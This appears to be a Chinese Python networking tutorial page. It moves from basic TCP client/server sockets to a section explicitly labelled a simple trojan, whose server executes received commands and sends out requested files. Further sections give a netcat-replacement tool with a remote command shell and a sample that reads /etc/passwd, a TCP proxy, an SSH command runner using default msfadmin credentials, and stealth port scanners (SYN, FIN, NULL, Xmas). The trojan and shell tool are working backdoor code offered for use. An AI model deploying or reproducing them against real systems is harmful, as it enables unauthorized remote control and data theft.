简单的网络通信
1.客户端:
1# -*- coding: UTF-8 -*- 2 3import socket 4import sys 5 6#测试类 7class Client: 8 def __init__(self,host): 9 self.host=host #待连接的远程主机的域名 10 def connet(self): #连接方法 11 try: 12 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 except socket.error as e: 14 print("Failed to create socket. Error: %s"%e) 15 sys.exit() #退出进程 16 17 def connet(self): #连接方法 18 try: 19 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 except socket.error as e: 21 print("Failed to create socket. Error: %s"%e) 22 sys.exit() #退出进程 23 try: 24 remote_ip = socket.gethostbyname(self.host)#根据域名获取ip 25 except socket.gaierror: 26 print('主机无法被解析') 27 sys.exit() #退出进程 28 try: 29 s.connect((remote_ip,80))#连接 30 message = b"GET / HTTP/1.1\r\n\r\n" 31 s.sendall(message)#发送数据 32 reply = s.recv(4096)#接收数据 33 print(reply) 34 s.close()#关闭连接 35 except socket.error: 36 sys.exit() #退出进程 37 38 39if __name__ == '__main__': 40 cl = Client('www.baidu.com') 41 cl.connet()
2.服务端
1# -*- coding: UTF-8 -*- 2 3import socket 4import sys 5 6class server: 7 def __init__(self,ip,port): 8 self.port=port 9 self.ip=ip 10 def start(self): 11 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket 12 try: 13 s.bind((self.ip,self.port))#绑定 14 s.listen(10)#监听 15 print('等待客户端连接') 16 conn, addr = s.accept()#接收连接 17 print('客户端连接 ' + addr[0] + ':' + str(addr[1])) 18 data = conn.recv(1024)#接收数据 19 print("客户端数据:%s"%data) 20 conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据 21 conn.close()#关闭连接 22 23 except socket.error as e: 24 print(e) 25 sys.exit() 26 finally: 27 s.close() #关闭服务端 28 29 30if __name__ == '__main__': 31 s = server('',8800) 32 s.start()
TCP/客户端与服务端基础
TCP客户端:
1#coding=utf-8 2import socket 3 4target_host = "www.baidu.com" 5target_port = 80 6 7#建立一个socket对象 8client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 9 10#连接客户端 11client.connect((target_host,target_port)) 12 13#发送一些数据 14client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") 15 16#接收一些数据 17response = client.recv(4096) 18 19print response
TCP服务端: 这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。
1#!/usr/bin/python 2#coding=utf-8 3import socket 4import threading 5 6bind_ip = "0.0.0.0" 7bind_port = 1234 8 9server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 10 11server.bind((bind_ip,bind_port)) 12 13server.listen(5) 14 15print '[*] Listening on %s:%d'%(bind_ip,bind_port) 16 17#客户处理线程 18def handle_client(client_socket): 19 20 #打印客户端发送得到的消息 21 request = client_socket.recv(1024) 22 23 print "[*] Received: %s"%request 24 25 #返回一个数据包 26 client_socket.send("ACK!") 27 28 client_socket.close() 29 30while True: 31 32 client, addr = server.accept() 33 34 print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1]) 35 36 #挂起客户端线程,处理传入数据 37 client_handler = threading.Thread(target=handle_client,args=(client,)) 38 client_handler.start()
TCP 实现一个简单的木马
TCP客户端代码
1# -*- coding: UTF-8 -*- 2 3import socket 4import sys 5import re 6import os 7 8class Client: 9 def __init__(self,serverIp,serverPort): 10 self.serverIp=serverIp #待连接的远程主机的域名 11 self.serverPort = serverPort 12 self.bufferSize = 10240 13 14 def connet(self): #连接方法 15 try: 16 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 except socket.error as e: 18 print("Failed to create socket. Error: %s"%e) 19 20 try: 21 s.connect((self.serverIp,self.serverPort)) 22 while True: 23 message = input('> ')#接收用户输入 24 if not message: 25 break 26 s.send(bytes(message, 'utf-8'))#发送命令 27 data = s.recv(self.bufferSize)#接收数据 28 if not data: 29 break 30 if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 31 print(data.decode('utf-8')[4:]) 32 else:#文件内容处理 33 s.send("File size received".encode())#通知服务端可以发送文件了 34 file_total_size = int(data.decode())#总大小 35 received_size = 0 36 f = open("new" +os.path.split(message)[-1], "wb")#创建文件 37 while received_size < file_total_size: 38 data = s.recv(self.bufferSize) 39 f.write(data)#写文件 40 received_size += len(data)#累加接收长度 41 print("已接收:", received_size) 42 f.close()#关闭文件 43 print("receive done", file_total_size, " ", received_size) 44 except socket.error: 45 s.close() 46 raise #退出进程 47 finally: 48 s.close() 49 50 51if __name__ == '__main__': 52 cl = Client('127.0.0.1',8800) 53 cl.connet() 54 sys.exit() #退出进程
TCP服务端代码
1# -*- coding: UTF-8 -*- 2 3import socket 4import sys 5import os 6 7 8class server: 9 def __init__(self, ip, port): 10 self.port = port 11 self.ip = ip 12 self.bufferSize = 10240 13 14 def start(self): # 启动监听,接收数据 15 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 try: 17 s.bind((self.ip, self.port)) # 绑定 18 s.listen(10) # 监听 19 print('等待客户端连接') 20 while True: # 一直等待新的连接 21 try: 22 conn, addr = s.accept() # 接收连接 23 print('客户端连接 ' + addr[0] + ':' + str(addr[1])) 24 while True: # 不知道客户端发送数据大小,循环接收 25 data = conn.recv(self.bufferSize) 26 if not data: 27 break 28 else: 29 self.executeCommand(conn,data) 30 conn.close() 31 except socket.error as e: 32 print(e) 33 conn.close() # 关闭连接 34 finally: 35 s.close() # 关闭服务端 36 37 def executeCommand(self, tcpCliSock, data): # 解析并执行命令 38 try:# 39 message = data.decode("utf-8") 40 if os.path.isfile(message):#判断是否是文件 41 filesize = str(os.path.getsize(message))#获取文件大小 42 print("文件大小为:",filesize) 43 tcpCliSock.send(filesize.encode())#发送文件大小 44 data = tcpCliSock.recv(self.bufferSize) 45 print("开始发送") 46 f = open(message, "rb")#打开文件 47 for line in f: 48 tcpCliSock.send(line)#发送文件内容 49 else: 50 tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) 51 except: 52 raise 53if __name__ == '__main__': 54 s = server('', 8800) 55 s.start()
取代netcat
1#!/usr/bin/python 2#coding=utf-8 3import sys 4import socket 5import getopt 6import threading 7import subprocess 8 9#定义一些全局变量 10listen = False 11command = False 12upload = False 13execute = "" 14target = "" 15upload_destination = "" 16port = 0 17 18#使用帮助 19def usage(): 20 print "BHP Net Tool" 21 print 22 print "Usage: bhpnet.py -t target_host - p port" 23 print "-l --listen - listen on [host]:[port] for incoming connections" 24 print "-e --execute=file_to_run -execute the given file upon receiving a connection" 25 print "-c --command - initialize a commandshell" 26 print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" 27 print 28 print 29 print "Examples:" 30 print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" 31 print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" 32 print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" 33 print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135" 34 sys.exit(0) 35 36def client_sender(buffer): 37 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 38 39 try: 40 #连接到目标主机 41 client.connect((target,port)) 42 43 if len(buffer): 44 client.send(buffer) 45 46 while True: 47 48 #现在等待数据回传 49 recv_len = 1 50 response = "" 51 52 while recv_len: 53 54 data = client.recv(4096) 55 recv_len = len(data) 56 response += data 57 58 if recv_len < 4096: 59 break 60 61 print response, 62 63 #等待更多的输入 64 buffer = raw_input("") 65 buffer += "\n" 66 67 #发送出去 68 client.send(buffer) 69 70 except: 71 print "[*] Exception! Exiting. " 72 73 #关闭连接 74 client.close() 75 76def server_loop(): 77 global target 78 79 #如果没有定义目标,那么我们监听所有的接口 80 if not len(target): 81 target = "0.0.0.0" 82 83 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 84 server.bind((target,port)) 85 86 server.listen(5) 87 88 while True: 89 client_socket, addr = server.accept() 90 91 #分拆一个线程处理新的客户端 92 client_thread = threading.Thread(target=client_handler,args=(client_socket,)) 93 client_thread.start() 94 95def run_command(command): 96 97 #换行 98 command = command.rstrip() 99 100 #运行命令并将输出返回 101 try: 102 output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True) 103 except: 104 output = "Failed to execute command. \r\n" 105 106 #将输出发送 107 return output 108 109def client_handler(client_socket): 110 global upload 111 global execute 112 global command 113 114 #检测上传文件 115 if len(upload_destination): 116 117 #读取所有的字符并写下目标 118 file_buffer = "" 119 120 #持续读取数据直到没有符合的数据 121 122 while True: 123 data = client_socket.recv(1024) 124 125 if not data: 126 break 127 else: 128 file_buffer += data 129 130 #现在我们接收这些数据并将他们写出来 131 try: 132 file_descriptor = open(upload_destination,"wb") 133 file_descriptor.write(file_buffer) 134 file_descriptor.close() 135 136 #确认文件已经写出来 137 client_socket.send("Successfully saved file to %s\r\n"%upload_destination) 138 except: 139 client_socket.send("Failed to save file to %s\r\n"%upload_destination) 140 #检查命令执行 141 if len(execute): 142 143 #运行命令 144 output = run_command(execute) 145 146 client_socket.send(output) 147 148 #如果需要一个命令行shell,那么我们进入另一个循环 149 if command: 150 151 while True: 152 153 #跳出一个窗口 154 client_socket.send("<BHP:#> ") 155 156 #现在我们接收文件直到发现换行符(enter key) 157 cmd_buffer = "" 158 while "\n" not in cmd_buffer: 159 cmd_buffer += client_socket.recv(1024) 160 161 #返还命令输出 162 response = run_command(cmd_buffer) 163 164 #返回响应数据 165 client_socket.send(response) 166 167def main(): 168 global listen 169 global port 170 global execute 171 global command 172 global upload_destination 173 global target 174 175 if not len(sys.argv[1:]): 176 usage() 177 178 #读取命令行选项 179 try: 180 opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"]) 181 except getopt.GetoptError as err: 182 print str(err) 183 usage() 184 185 for o,a in opts: 186 if o in ("-h","--help"): 187 usage() 188 elif o in ("-l","--listen"): 189 listen = True 190 elif o in ("-e","--execute"): 191 execute = a 192 elif o in ("-c","--commandshell"): 193 command = True 194 elif o in ("-u","--upload"): 195 upload_destination = a 196 elif o in ("-t","--target"): 197 target = a 198 elif o in ("-p","--port"): 199 port = int(a) 200 else: 201 assert False,"Unhandled Option" 202 203 #我们是进行监听还是仅从标准输入发送数据? 204 if not listen and len(target) and port > 0 : 205 206 #从命令行读取内存数据 207 #这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D 208 buffer = sys.stdin.read() 209 210 #发送数据 211 client_sender(buffer) 212 213 #我们开始监听并准备上传文件、执行命令 214 #放置一个反弹shell 215 #取决于上面的命令行选项 216 if listen: 217 server_loop() 218 219main()
创建一个TCP代理
1#!/usr/bin/python 2 #coding=utf-8 3 import socket 4 import sys 5 import threading 6 7 def server_loop(local_host,local_port,remote_host,remote_port,receive_first): 8 9 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 10 11 try: 12 server.bind((local_host,local_port)) 13 except: 14 print "[!!] Failed to listen on %s:%d"%(local_host,local_port) 15 print "[!!] Check for other listening sockets or correct permissions. " 16 sys.exit(0) 17 18 print "[*] Listening on %s:%d"%(local_host,local_port) 19 20 server.listen(5) 21 22 while True: 23 client_socket, addr = server.accept() 24 25 # 打印出本地连接信息 26 print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1]) 27 28 # 开启一个线程与远程主机通信 29 proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first)) 30 31 proxy_thread.start() 32 33 def proxy_handler(client_socket,remote_host,remote_port,receive_first): 34 35 # 连接远程主机 36 remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 37 remote_socket.connect((remote_host,remote_port)) 38 39 # 如果必要从远程主机接收数据 40 if receive_first: 41 42 remote_buffer = receive_from(remote_socket) 43 hexdump(remote_buffer) 44 45 # 发送给我们的响应数据 46 remote_buffer = response_handler(remote_buffer) 47 48 # 如果我们有数据传递给本地客户端,发送它 49 if len(remote_buffer): 50 print "[<==] Sending %d bytes to localhost. "%len(remote_buffer) 51 client_socket.send(remote_buffer) 52 53 # 现在我们从本地循环读取数据,发送给远程主机和本地主机 54 while True: 55 56 # 从本地读取主机 57 local_buffer = receive_from(client_socket) 58 59 if len(local_buffer): 60 61 print "[==>] Received %d bytes from localhost. "%len(local_buffer) 62 hexdump(local_buffer) 63 64 # 发送给我们的本地请求 65 local_buffer = request_handler(local_buffer) 66 67 # 向远程主机发送数据 68 remote_socket.send(local_buffer) 69 print "[==>] Sent to remote ." 70 71 # 接受响应的数据 72 remote_buffer = receive_from(remote_socket) 73 74 if len(remote_buffer): 75 76 print "[<==] Received %d bytes from remote . "%len(remote_buffer) 77 hexdump(remote_buffer) 78 79 # 发送到响应处理函数 80 remote_buffer = response_handler(remote_buffer) 81 82 # 将响应发送给本地socket 83 client_socket.send(remote_buffer) 84 85 print "[<==] Sent to localhost. " 86 87 # 如果两边都没有数据,关闭连接 88 if not len(local_buffer) or not len(remote_buffer): 89 client_socket.close() 90 remote_socket.close() 91 print "[*] No more data. Closing cnnections. " 92 93 break 94 95 # 十六进制导出函数 96 def hexdump(src,length=16): 97 result = [] 98 digits = 4 if isinstance(src,unicode) else 2 99 100 for i in xrange(0,len(src),length): 101 s = src[i:i+length] 102 hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s]) 103 text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) 104 result.append( b"%04X %-*s %s" % (i,length*(digits + 1),hexa,text)) 105 106 print b'\n'.join(result) 107 108 def receive_from(connection): 109 110 buffer = "" 111 112 # 我们设置了两秒的超时,这取决于目标的情况,可能需要调整 113 connection.settimeout(2) 114 115 try: 116 # 持续从缓存中读取数据直到没有数据或超时 117 while True: 118 data = connection.recv(4096) 119 if not data: 120 break 121 buffer += data 122 except: 123 pass 124 125 return buffer 126 127 # 对目标是远程主机的请求进行修改 128 def request_handler(buffer): 129 # 执行包修改 130 return buffer 131 132 # 对目标是本地主机的响应进行修改 133 def response_handler(buffer): 134 # 执行包修改 135 return buffer 136 137 def main(): 138 139 # 没有华丽的命令行解析 140 if len(sys.argv[1:]) != 5: 141 print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] " 142 print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True" 143 sys.exit(0) 144 145 # 设置本地监听参数 146 local_host = sys.argv[1] 147 local_port = int(sys.argv[2]) 148 149 # 设置远程目标 150 remote_host = sys.argv[3] 151 remote_port = int(sys.argv[4]) 152 153 # 告诉代理在发送给远程主机之前连接和接收数据 154 receive_first = sys.argv[5] 155 156 if "True" in receive_first: 157 receive_first = True 158 else: 159 receive_first = False 160 161 # 现在设置好我们的监听socket 162 server_loop(local_host,local_port,remote_host,remote_port,receive_first) 163 164 main()
通过Paramiko使用SSH
1#!/usr/bin/python 2import paramiko 3import threading 4import subprocess 5 6def ssh_command(ip,user,passwd,command): 7 client = paramiko.SSHClient() 8 #client.load_host_keys('/home/justin/.ssh/known_hosts') 9 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 10 client.connect(ip,username=user,password=passwd) 11 ssh_session = client.get_transport().open_session() 12 if ssh_session.active: 13 ssh_session.exec_command(command) 14 print ssh_session.recv(1024) 15 return 16 17ssh_command('10.10.10.128','msfadmin','msfadmin','uname -a')
其他扫描方式收藏
1import argparse 2from scapy.all import * 3 4#答疑端口状态 5def print_ports(port, state): 6 print("%s | %s" % (port, state)) 7 8def tcpScan(target,ports): 9 print("tcp全连接扫描 %s with ports %s" % (target, ports)) 10 for port in ports: 11 send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) 12 if (send is None): 13 print_ports(port,"closed") 14 elif send.haslayer("TCP"): 15 print(send["TCP"].flags) 16 if send["TCP"].flags == "SA": 17 send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0) 18 print_ports(port,"opend") 19 elif send["TCP"].flags == "RA": 20 print_ports(port,"closed") 21 22 23def synScan(target,ports): 24 print("tcp SYN扫描 %s with ports %s" % (target, ports)) 25 for port in ports: 26 send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) 27 if (send is None): 28 print_ports(port,"closed") 29 elif send.haslayer("TCP"): 30 print(send["TCP"].flags) 31 if send["TCP"].flags == "SA": 32 send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里 33 print_ports(port,"opend") 34 elif send["TCP"].flags == "RA": 35 print_ports(port,"closed") 36 37def ackScan(target,ports): 38 print("tcp ack扫描 %s with ports %s" % (target, ports)) 39 for port in ports: 40 ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) 41 print(str(type(ack_flag_scan_resp))) 42 if (str(type(ack_flag_scan_resp))=="<class 'NoneType'>"): 43 print_ports(port,"filtered") 44 elif(ack_flag_scan_resp.haslayer(TCP)): 45 if(ack_flag_scan_resp.getlayer(TCP).flags == "R"): 46 print_ports(port,"unfiltered") 47 elif(ack_flag_scan_resp.haslayer(ICMP)): 48 if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 49 print_ports(port,"filtered") 50 else: 51 print_ports(port,"filtered") 52 53 54def windowScan(target,ports): 55 print("tcp window扫描 %s with ports %s" % (target, ports)) 56 for port in ports: 57 window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) 58 print(str(type(window_scan_resp))) 59 if (str(type(window_scan_resp))=="<class 'NoneType'>"): 60 print_ports(port,"close") 61 elif(window_scan_resp.haslayer(TCP)): 62 if(window_scan_resp.getlayer(TCP).window == 0): 63 print_ports(port,"close") 64 elif(window_scan_resp.getlayer(TCP).window > 0): 65 print_ports(port,"open") 66 else: 67 print_ports(port,"close") 68 69def nullScan(target,ports): 70 print("tcp NULL 扫描 %s with ports %s" % (target, ports)) 71 for port in ports: 72 null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5) 73 if (str(type(null_scan_resp))=="<class 'NoneType'>"): 74 print_ports(port,"Open|Filtered") 75 elif(null_scan_resp.haslayer(TCP)): 76 if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"): 77 print_ports( port,"Closed") 78 elif(null_scan_resp.haslayer(ICMP)): 79 if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 80 print_ports(port, "Filtered") 81 82 83def finScan(target,ports): 84 print("tcp FIN 扫描 %s with ports %s" % (target, ports)) 85 for port in ports: 86 fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5) 87 if (str(type(fin_scan_resp))=="<class 'NoneType'>"): 88 print_ports(port, "Open|Filtered") 89 elif(fin_scan_resp.haslayer(TCP)): 90 if(fin_scan_resp.getlayer(TCP).flags == 0x14): 91 print_ports(port, "Closed") 92 elif(fin_scan_resp.haslayer(ICMP)): 93 if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 94 print_ports(port, "Filtered") 95 96 97def xmaxScan(target,ports): 98 print("tcp xmax 扫描 %s with ports %s" % (target, ports)) 99 for port in ports: 100 fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5) 101 if (str(type(fin_scan_resp))=="<class 'NoneType'>"): 102 print_ports(port, "Open|Filtered") 103 elif(fin_scan_resp.haslayer(TCP)): 104 if(fin_scan_resp.getlayer(TCP).flags == "R"): 105 print_ports(port, "Closed") 106 elif(fin_scan_resp.haslayer(ICMP)): 107 if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 108 print_ports(port, "Filtered") 109 110def udpScan(target,ports): 111 print("UDP 扫描 %s with ports %s" % (target, ports)) 112 for port in ports: 113 udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5) 114 if (str(type(udp_scan_resp))=="<class 'NoneType'>"): 115 print_ports(port, "Open|Filtered") 116 elif(udp_scan_resp.haslayer(UDP)): 117 if(udp_scan_resp.getlayer(TCP).flags == "R"): 118 print_ports(port, "Open") 119 elif(udp_scan_resp.haslayer(ICMP)): 120 if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): 121 print_ports(port, "Filtered")